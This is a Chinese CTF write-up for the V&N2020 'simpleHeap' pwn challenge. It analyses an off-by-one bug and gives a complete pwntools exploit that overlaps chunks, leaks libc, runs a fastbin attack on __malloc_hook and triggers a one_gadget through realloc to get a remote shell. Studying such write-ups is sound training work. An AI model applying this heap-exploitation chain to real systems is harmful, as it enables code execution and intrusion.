【pwn】V&N2020 公开赛 simpleHeap

1、静态分析

首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载

然后checksec一下,保护全开

拖入IDA中分析

去除了符号表,通过menu函数分析出有add、edit、show、delete

1.add()

add函数分析一遍,发现没什么漏洞,就是普普通通的输入一个需要申请的size(空间大小),然后再向这个malloc的空间中输入content(内容),其中size不能大于111(0x6F)。

2.edit()

edit的功能就是输入一个index,然后修改这个index的内容。

问题出在了in(我自己重命名的)这个函数上,这个函数的功能是给prt[index]读入Size[index]大小的内容,但是我们进入这个函数看一看

其中红框的部分造成了off-by-one的漏洞,如果i == length那么其实会多写入一个字节,利用这个漏洞我们可以去篡改物理相邻的下一个chunk的size字段的最后一个字节,也就是给这个chunk的size给重写

3.show()

show函数就是把我们想要的index的content打印出来

没有漏洞存在

4.delete()

delete函数不仅free了ptr,还把ptr置为了NULL,不存在UAF和double free的漏洞

2、漏洞利用

分析完了上述的4种主要函数,发现能够利用的漏洞只有edit中的off-by-one一个点。那么如何通过这一个off-by-one的漏洞来获取shell呢?

exp如下:

from pwn import *
from LibcSearcher import *
# context.log_level="DEBUG"

def ret2libc(leak,func,path=""):
   if path == "":
       libc = LibcSearcher(fun,leak)
       base = leak - libc.dump(func)
       system = base + libc.dump("system")
       binsh = base + libc.dump("str_bin_sh")
   else:
       libc = ELF(path)
       libc.address = leak - libc.sym[func]
       system = libc.sym["system"]
       binsh = next(libc.search(b"/bin/sh"))
   return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b"\x00"))
uu64 = lambda data : u64(data.ljust(8,b"\x00"))
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

# io = process("./vn_pwn_simpleHeap")
io = remote("node4.buuoj.cn",27610)
elf = ELF("./vn_pwn_simpleHeap")
libc = ELF("./libc-2.23.so")

def add(size,content="a"):
   sla(":","1")
   sla("?",str(size))
   sa(":",content)

def edit(index,content):
   sla(":","2")
   sla("?",str(index))
   sla(":",content)

def show(index):
   sla(":","3")
   sla("?",str(index))

def free(index):
   sla(":","4")
   sla("?",str(index))

# start
add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3

edit(0,b"a"*0x18+b"\xe1") # 篡改1的size为e1,欺骗unsoted bin回收 1和2 这一个整体
free(1) # unsorted bin 回收了 1和2 这一块内存空间,但是 2 的指针仍然存在
add(0x68) # 将 1 从unsorted bin中分割出来,剩下的一半2仍然再unsorted bin中,用来泄露libc
show(2) # 用 2 来泄露main arean的地址,再减去0x10泄露出malloc_hook的地址,进而泄露出libc地址
base = uu64(r(6))- 88 - 0x10 - libc.sym["__malloc_hook"]
leak("base",base)
malloc_hook = base + libc.sym["__malloc_hook"]

add(0x60) # 4 <-> 2
free(3)
free(2)
edit(4,p64(malloc_hook-0x23)) # 将 2 的fd指针改为 malloc_hook - 0x23,这里其实是一个欺骗fastbin的位置,因为这里的size是0x7f,属于fastbin的范围
add(0x60) # 将 2 重新申请回来,此时的2的fd指针已经改写为了fake chunk的地址

payload = b"a"*11+p64(base+0x4526a)+p64(base+libc.sym["__libc_realloc"]+0xc) # 通过one_gadget来获取shell,但是这里选择的one_gadget rsp+0x30 == null无法满足,所以要去realloc中通过push、pop操作(也就是rsp+0x30-5*8==null)来满足条件,最后将one_gadget写入realloc_hook中

add(0x60,payload)
sla(":","1")
sla("?","1") # malloc发现malloc_hook不为空,去调用malloc_hook里面的realloc+0xc,realloc发现realloc_hook不为空,可以执行realloc下面一系列的pop操作,调节了栈帧,满足了one_gadget的条件,最后调用了realloc_hook中的one_gadeget从而获取了shell

ia()

【pwn】V&N2020 公开赛 simpleHeap的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  4. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  6. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  7. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  8. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

  9. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

随机推荐

  1. LuoguB2030 计算线段长度 题解

    Content 已知线段的两个端点的坐标 \(A(X_a,Y_a),B(X_b,Y_b)\) ,求线段 \(AB\) 的长度. 数据范围:\(|X_a|,|Y_a|,|X_b|,|Y_b|\leqsl ...

  2. CMAKE为项目输出名添加后缀

    概述 本文将介绍cmake配置动态库和可执行程序两种,使用cmake为其添加Debug和Release配置下的后缀 动态库 下面将介绍使用CMAKE_DEBUG_POSTFIX和CMAKE_RELEA ...

  3. 【LeetCode】266. Palindrome Permutation 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 字典 日期 题目地址:https://leetcode ...

  4. 【LeetCode】892. Surface Area of 3D Shapes 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  5. Vue(27)vue-codemirror实现在线代码编译器

    前言 如果我们想在Web端实现在线代码编译的效果,那么需要使用组件vue-codemirror,他是将CodeMirror进行了再次封装 支持代码高亮 62种主题颜色,例如monokai等等 支持js ...

  6. JUC之线程间定制化通信

    线程通信之定制化 之前文章中写了下Condition的使用,这里我们详细说下其中的用法: 首先使用Condition需要实例化Lock private Lock lock = new Reentran ...

  7. 编写Java程序,利用List实现报数游戏的实现思路

    返回本章节 返回作业目录 需求说明: 利用List实现报数游戏 在控制台输入一个大于3的正整数,该整数表示有多少人,如在控制台输入10,表示有10个人,10个人围成一个圆圈,从序号1开始为这些人依次编 ...

  8. Eclipse设置代码格式化使用空格代替TAB

    Java格式设置 打开Window-Preferences,找到Java-Code Style-Formatter,点击图片中的New.. 给配置起一个名字后,修改配置,找到 Indentation, ...

  9. Oracle数据库安装Version12c

    1.安装规划 Oracle数据库版本: Linuxamd64_12102_database 12c Linux服务器系统: CentOS Linux release 7.5.1804 (Core) 6 ...

  10. Hadoop单点安装(伪分布式)

    Hadoop单点安装,基于版本2.7.1, 在一台Lunix主机上面安装Hdoop, 包括Hdfs的NameNode和DataNode, 以及Yarn的ResouceManager和NodeManag ...